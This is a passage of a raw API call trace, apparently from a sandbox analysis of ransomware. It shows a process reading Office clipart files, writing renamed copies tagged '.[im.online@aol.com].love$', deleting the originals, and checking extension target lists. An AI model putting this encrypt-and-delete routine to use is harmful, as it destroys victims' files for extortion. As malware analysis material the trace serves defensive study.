lpNumberOfBytesRead=0x2c0fecc*=0x1f86, lpOverlapped=0x0) returned 1 [0234.235] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0234.236] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.236] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.236] SetEndOfFile (hFile=0x4c0) returned 1 [0234.236] CloseHandle (hObject=0x4c0) returned 1 [0234.237] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.237] SetEndOfFile (hFile=0x488) returned 1 [0234.243] CloseHandle (hObject=0x488) returned 1 [0234.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0234.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.245] lstrlenW (lpString=".doc") returned 4 [0234.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.245] lstrlenW (lpString=".docx") returned 5 [0234.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.245] lstrlenW (lpString=".pdf") returned 4 [0234.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.245] lstrlenW (lpString=".xls") returned 4 [0234.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.245] lstrlenW (lpString=".xlsx") returned 5 [0234.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.245] lstrlenW (lpString=".ppt") returned 4 [0234.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.245] lstrlenW (lpString=".zip") returned 4 [0234.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.245] lstrlenW (lpString=".rar") returned 4 [0234.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.245] lstrlenW (lpString=".bz2") returned 4 [0234.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.245] lstrlenW (lpString=".7z") returned 3 [0234.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.245] lstrlenW (lpString=".dbf") returned 4 [0234.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.245] lstrlenW (lpString=".1cd") returned 4 [0234.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.245] lstrlenW (lpString=".jpg") returned 4 [0234.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.246] lstrlenW (lpString=".doc") returned 4 [0234.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.246] lstrlenW (lpString=".docx") returned 5 [0234.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.246] lstrlenW (lpString=".pdf") returned 4 [0234.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.246] lstrlenW (lpString=".xls") returned 4 [0234.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.246] lstrlenW (lpString=".xlsx") returned 5 [0234.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.246] lstrlenW (lpString=".ppt") returned 4 [0234.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.246] lstrlenW (lpString=".zip") returned 4 [0234.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.246] lstrlenW (lpString=".rar") returned 4 [0234.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.246] lstrlenW (lpString=".bz2") returned 4 [0234.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.246] lstrlenW (lpString=".7z") returned 3 [0234.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.246] lstrlenW (lpString=".dbf") returned 4 [0234.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.246] lstrlenW (lpString=".1cd") returned 4 [0234.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0234.246] lstrlenW (lpString=".jpg") returned 4 [0234.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.247] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.247] lstrlenW (lpString="BL00252_.WMF") returned 12 [0234.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0234.247] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4708) returned 1 [0234.247] CloseHandle (hObject=0x488) returned 1 [0234.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0234.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0234.248] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.248] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.249] GetLastError () returned 0x0 [0234.249] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1264, lpOverlapped=0x0) returned 1 [0234.348] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1270, lpOverlapped=0x0) returned 1 [0234.349] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.349] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.349] SetEndOfFile (hFile=0x4c0) returned 1 [0234.349] CloseHandle (hObject=0x4c0) returned 1 [0234.349] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.349] SetEndOfFile (hFile=0x488) returned 1 [0234.393] CloseHandle (hObject=0x488) returned 1 [0234.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0234.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.395] lstrlenW (lpString=".doc") returned 4 [0234.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.395] lstrlenW (lpString=".docx") returned 5 [0234.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.395] lstrlenW (lpString=".pdf") returned 4 [0234.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.396] lstrlenW (lpString=".xls") returned 4 [0234.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.396] lstrlenW (lpString=".xlsx") returned 5 [0234.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.396] lstrlenW (lpString=".ppt") returned 4 [0234.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.396] lstrlenW (lpString=".zip") returned 4 [0234.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.396] lstrlenW (lpString=".rar") returned 4 [0234.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.396] lstrlenW (lpString=".bz2") returned 4 [0234.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.396] lstrlenW (lpString=".7z") returned 3 [0234.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.396] lstrlenW (lpString=".dbf") returned 4 [0234.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.397] lstrlenW (lpString=".1cd") returned 4 [0234.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.397] lstrlenW (lpString=".jpg") returned 4 [0234.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.397] lstrlenW (lpString=".doc") returned 4 [0234.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.397] lstrlenW (lpString=".docx") returned 5 [0234.397] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.397] lstrlenW (lpString=".pdf") returned 4 [0234.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.397] lstrlenW (lpString=".xls") returned 4 [0234.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.397] lstrlenW (lpString=".xlsx") returned 5 [0234.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.397] lstrlenW (lpString=".ppt") returned 4 [0234.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.397] lstrlenW (lpString=".zip") returned 4 [0234.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.398] lstrlenW (lpString=".rar") returned 4 [0234.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.398] lstrlenW (lpString=".bz2") returned 4 [0234.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.398] lstrlenW (lpString=".7z") returned 3 [0234.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.398] lstrlenW (lpString=".dbf") returned 4 [0234.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.398] lstrlenW (lpString=".1cd") returned 4 [0234.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0234.398] lstrlenW (lpString=".jpg") returned 4 [0234.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.399] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.399] lstrlenW (lpString="BL00261_.WMF") returned 12 [0234.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0234.399] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=12482) returned 1 [0234.400] CloseHandle (hObject=0x488) returned 1 [0234.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0234.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0234.401] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.401] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.402] GetLastError () returned 0x0 [0234.402] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0234.427] WriteFile (in: hFile=0x480, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0234.429] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.429] WriteFile (in: hFile=0x480, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.430] SetEndOfFile (hFile=0x480) returned 1 [0234.430] CloseHandle (hObject=0x480) returned 1 [0234.430] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.430] SetEndOfFile (hFile=0x488) returned 1 [0234.434] CloseHandle (hObject=0x488) returned 1 [0234.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0234.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.436] lstrlenW (lpString=".doc") returned 4 [0234.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.436] lstrlenW (lpString=".docx") returned 5 [0234.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.436] lstrlenW (lpString=".pdf") returned 4 [0234.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.436] lstrlenW (lpString=".xls") returned 4 [0234.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.436] lstrlenW (lpString=".xlsx") returned 5 [0234.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.437] lstrlenW (lpString=".ppt") returned 4 [0234.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.437] lstrlenW (lpString=".zip") returned 4 [0234.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.437] lstrlenW (lpString=".rar") returned 4 [0234.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.437] lstrlenW (lpString=".bz2") returned 4 [0234.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.437] lstrlenW (lpString=".7z") returned 3 [0234.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.437] lstrlenW (lpString=".dbf") returned 4 [0234.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.437] lstrlenW (lpString=".1cd") returned 4 [0234.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.437] lstrlenW (lpString=".jpg") returned 4 [0234.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.438] lstrlenW (lpString=".doc") returned 4 [0234.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.438] lstrlenW (lpString=".docx") returned 5 [0234.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.438] lstrlenW (lpString=".pdf") returned 4 [0234.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.438] lstrlenW (lpString=".xls") returned 4 [0234.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.438] lstrlenW (lpString=".xlsx") returned 5 [0234.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.438] lstrlenW (lpString=".ppt") returned 4 [0234.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.438] lstrlenW (lpString=".zip") returned 4 [0234.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.438] lstrlenW (lpString=".rar") returned 4 [0234.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.438] lstrlenW (lpString=".bz2") returned 4 [0234.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.438] lstrlenW (lpString=".7z") returned 3 [0234.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.438] lstrlenW (lpString=".dbf") returned 4 [0234.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.439] lstrlenW (lpString=".1cd") returned 4 [0234.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0234.439] lstrlenW (lpString=".jpg") returned 4 [0234.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.439] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.439] lstrlenW (lpString="BL00265_.WMF") returned 12 [0234.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.508] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5752) returned 1 [0234.508] CloseHandle (hObject=0x3bc) returned 1 [0234.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0234.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.509] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.509] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0234.510] GetLastError () returned 0x0 [0234.510] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1678, lpOverlapped=0x0) returned 1 [0234.512] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1680, lpOverlapped=0x0) returned 1 [0234.514] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, 